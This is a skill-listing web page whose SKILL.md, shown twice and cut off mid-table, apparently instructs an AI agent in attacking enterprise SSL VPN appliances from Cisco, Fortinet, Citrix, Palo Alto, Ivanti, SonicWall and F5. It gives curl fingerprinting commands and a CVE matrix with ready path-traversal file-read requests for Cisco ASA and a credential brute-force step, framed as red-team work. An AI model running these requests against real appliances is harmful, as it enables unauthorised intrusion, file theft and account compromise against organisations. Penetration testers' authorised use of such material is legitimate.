enterprise-vpn-attack

Name: enterprise-vpn-attack
Author: elementalsouls

3.0kstars461forks

How to install enterprise-vpn-attack?

elementalsouls/claude-bughunter/enterprise-vpn-attack

$npx -y skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attack

Installs into the current project.

Summary

External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backe

Files · 1

View on GitHub

SKILL.md

1	## When to use this skill
2
3	Trigger when recon surfaces:
4	- `*.<client>.example/+CSCOE+/logon.html` or similar `+CSCOE+` paths → Cisco ASA / AnyConnect
5	- `intranet.` / `vpn.` / `connect.` / `webvpn.` / `wc.` / `remote.` subdomains
6	- Port 443 returning login pages with `Server: Apache` or banner like "AnyConnect", "FortiGate", "NetScaler", "GlobalProtect", "Pulse", "Ivanti"
7	- TCP 8443 / 4443 / 10443 / 8888 (common VPN web-mgmt ports)
8	- HTTP responses with `Set-Cookie: webvpn=` (Cisco) / `SVPNCOOKIE=` (Fortinet) / `NSC_AAA=` (Citrix) / `DSAuthSession=` (Pulse) / `BIGipServer*` (F5)
9
10	DO NOT use for:
11	- Internal lateral-movement post-foothold (out of scope per user's boundary)
12	- VPN client-side bugs (different attack class)
13	- IPsec / L2TP / OpenVPN (different protocols, not SSL VPN web stack)
14
15	---
16
17	## Vendor identification (fingerprinting)
18
19	### Cisco ASA / AnyConnect
20	```bash
21	curl -skI 'https://target/+CSCOE+/logon.html' \| head -10
22	# Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content
23	# Login page contains: "AnyConnect", "CSCOE", "logon.html"
24	```
25	ASA version: not banner-disclosed in modern builds; need to derive from JS file paths or test specific paths.
26
27	```bash
28	# Path-based version hints (older builds leaked builds in URLs)
29	curl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test'
30	curl -sk 'https://target/+CSCOE+/saml/sp/metadata' # 200 = SAML auth enabled
31	curl -sk 'https://target/CSCOSSLC/config-auth' # AnyConnect handshake endpoint
32	```
33
34	### Fortinet FortiGate / FortiOS
35	```bash
36	curl -skI 'https://target/remote/login' \| head -10
37	# Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or "xxxxxxxx-xxxxx"
38	# Login page contains: "FortiGate", "Fortinet", "SSL-VPN"
39	```
40	Version: `/remote/info` sometimes leaks (older), or `/login?username=` 302 response
41
42	### Citrix NetScaler / ADC / Gateway
43	```bash
44	curl -skI 'https://target/' \| head -10
45	# Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler
46	# Login page contains: "NetScaler", "Citrix Gateway"
47
48	# Version banner
49	curl -sk 'https://target/vpn/index.html' \| grep -oE 'NetScaler/[0-9.]+\|NS[0-9.]+'
50	curl -sk 'https://target/menu/neo' # 200 if vulnerable to CVE-2019-19781 era
51	```
52
53	### Palo Alto GlobalProtect
54	```bash
55	curl -skI 'https://target/global-protect/login.esp' \| head -10
56	# Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal)
57	# Page contains: "GlobalProtect Portal", "PAN-OS"
58
59	# Version banner via login page
60	curl -sk 'https://target/global-protect/login.esp' \| grep -oE 'GlobalProtect Portal[\s\S]{0,200}'
61	# Or check meta tag
62	curl -sk 'https://target/global-protect/login.esp' \| grep -oE 'panui-[0-9.]+'
63	```
64
65	### Pulse Secure / Ivanti Connect Secure
66	```bash
67	curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' \| head -10
68	# Look for: Set-Cookie: DSAuthSession=, DSPREAUTH=
69	# Page contains: "Pulse Secure" or "Ivanti Connect Secure"
70
71	# Version
72	curl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' \| grep -oE 'Pulse Connect Secure[^<]\|ivanti[^<][0-9.]+'
73	```
74
75	### SonicWall NetExtender / SMA
76	```bash
77	curl -skI 'https://target/cgi-bin/welcome' \| head -10
78	# Look for: Set-Cookie: swap=, swapauth=
79	# Page contains: "SonicWall", "NetExtender", "SMA"
80	```
81
82	### F5 Big-IP / APM
83	```bash
84	curl -skI 'https://target/my.policy' \| head -10
85	# Look for: Set-Cookie: BIGipServer*, MRHSession=
86	# Server: BIG-IP (sometimes)
87	```
88
89	---
90
91	## CVE matrix — pre-auth or auth-bypass (2018-2026)
92
93	### Cisco ASA / AnyConnect
94
95	\| CVE \| Affects \| Type \| Test \|
96	\|---\|---\|---\|---\|
97	\| CVE-2018-0296 \| ASA pre-9.x specific builds \| Path traversal — info disclosure (sessions, config) \| `GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua` \|
98	\| CVE-2020-3452 \| ASA, FTD before specific patch levels \| Path traversal — file read \| `GET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua` and variations \|
99	\| CVE-2023-20269 \| ASA, FTD specific \| Auth bypass on SSL VPN \| Brute-force a group + valid creds combo against `/+webvpn+/index.html` \|
100	\| CVE-2024-20481 \| RAVPN \| DoS via crafted handshake \| **SKIP in red team — disrupti

People who liked this also viewed

6 picks

Type

enterprise-vpn-attack

3.0kstars461forks

View on GitHub

How to install enterprise-vpn-attack?

elementalsouls/claude-bughunter/enterprise-vpn-attack

$npx -y skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attack

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	## When to use this skill
2
3	Trigger when recon surfaces:
4	- `*.<client>.example/+CSCOE+/logon.html` or similar `+CSCOE+` paths → Cisco ASA / AnyConnect
5	- `intranet.` / `vpn.` / `connect.` / `webvpn.` / `wc.` / `remote.` subdomains
6	- Port 443 returning login pages with `Server: Apache` or banner like "AnyConnect", "FortiGate", "NetScaler", "GlobalProtect", "Pulse", "Ivanti"
7	- TCP 8443 / 4443 / 10443 / 8888 (common VPN web-mgmt ports)
8	- HTTP responses with `Set-Cookie: webvpn=` (Cisco) / `SVPNCOOKIE=` (Fortinet) / `NSC_AAA=` (Citrix) / `DSAuthSession=` (Pulse) / `BIGipServer*` (F5)
9
10	DO NOT use for:
11	- Internal lateral-movement post-foothold (out of scope per user's boundary)
12	- VPN client-side bugs (different attack class)
13	- IPsec / L2TP / OpenVPN (different protocols, not SSL VPN web stack)
14
15	---
16
17	## Vendor identification (fingerprinting)
18
19	### Cisco ASA / AnyConnect
20	```bash
21	curl -skI 'https://target/+CSCOE+/logon.html' \| head -10
22	# Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content
23	# Login page contains: "AnyConnect", "CSCOE", "logon.html"
24	```
25	ASA version: not banner-disclosed in modern builds; need to derive from JS file paths or test specific paths.
26
27	```bash
28	# Path-based version hints (older builds leaked builds in URLs)
29	curl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test'
30	curl -sk 'https://target/+CSCOE+/saml/sp/metadata' # 200 = SAML auth enabled
31	curl -sk 'https://target/CSCOSSLC/config-auth' # AnyConnect handshake endpoint
32	```
33
34	### Fortinet FortiGate / FortiOS
35	```bash
36	curl -skI 'https://target/remote/login' \| head -10
37	# Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or "xxxxxxxx-xxxxx"
38	# Login page contains: "FortiGate", "Fortinet", "SSL-VPN"
39	```
40	Version: `/remote/info` sometimes leaks (older), or `/login?username=` 302 response
41
42	### Citrix NetScaler / ADC / Gateway
43	```bash
44	curl -skI 'https://target/' \| head -10
45	# Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler
46	# Login page contains: "NetScaler", "Citrix Gateway"
47
48	# Version banner
49	curl -sk 'https://target/vpn/index.html' \| grep -oE 'NetScaler/[0-9.]+\|NS[0-9.]+'
50	curl -sk 'https://target/menu/neo' # 200 if vulnerable to CVE-2019-19781 era
51	```
52
53	### Palo Alto GlobalProtect
54	```bash
55	curl -skI 'https://target/global-protect/login.esp' \| head -10
56	# Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal)
57	# Page contains: "GlobalProtect Portal", "PAN-OS"
58
59	# Version banner via login page
60	curl -sk 'https://target/global-protect/login.esp' \| grep -oE 'GlobalProtect Portal[\s\S]{0,200}'
61	# Or check meta tag
62	curl -sk 'https://target/global-protect/login.esp' \| grep -oE 'panui-[0-9.]+'
63	```
64
65	### Pulse Secure / Ivanti Connect Secure
66	```bash
67	curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' \| head -10
68	# Look for: Set-Cookie: DSAuthSession=, DSPREAUTH=
69	# Page contains: "Pulse Secure" or "Ivanti Connect Secure"
70
71	# Version
72	curl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' \| grep -oE 'Pulse Connect Secure[^<]\|ivanti[^<][0-9.]+'
73	```
74
75	### SonicWall NetExtender / SMA
76	```bash
77	curl -skI 'https://target/cgi-bin/welcome' \| head -10
78	# Look for: Set-Cookie: swap=, swapauth=
79	# Page contains: "SonicWall", "NetExtender", "SMA"
80	```
81
82	### F5 Big-IP / APM
83	```bash
84	curl -skI 'https://target/my.policy' \| head -10
85	# Look for: Set-Cookie: BIGipServer*, MRHSession=
86	# Server: BIG-IP (sometimes)
87	```
88
89	---
90
91	## CVE matrix — pre-auth or auth-bypass (2018-2026)
92
93	### Cisco ASA / AnyConnect
94
95	\| CVE \| Affects \| Type \| Test \|
96	\|---\|---\|---\|---\|
97	\| CVE-2018-0296 \| ASA pre-9.x specific builds \| Path traversal — info disclosure (sessions, config) \| `GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua` \|
98	\| CVE-2020-3452 \| ASA, FTD before specific patch levels \| Path traversal — file read \| `GET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua` and variations \|
99	\| CVE-2023-20269 \| ASA, FTD specific \| Auth bypass on SSL VPN \| Brute-force a group + valid creds combo against `/+webvpn+/index.html` \|
100	\| CVE-2024-20481 \| RAVPN \| DoS via crafted handshake \| **SKIP in red team — disrupti

People who liked this also viewed

6 picks

Type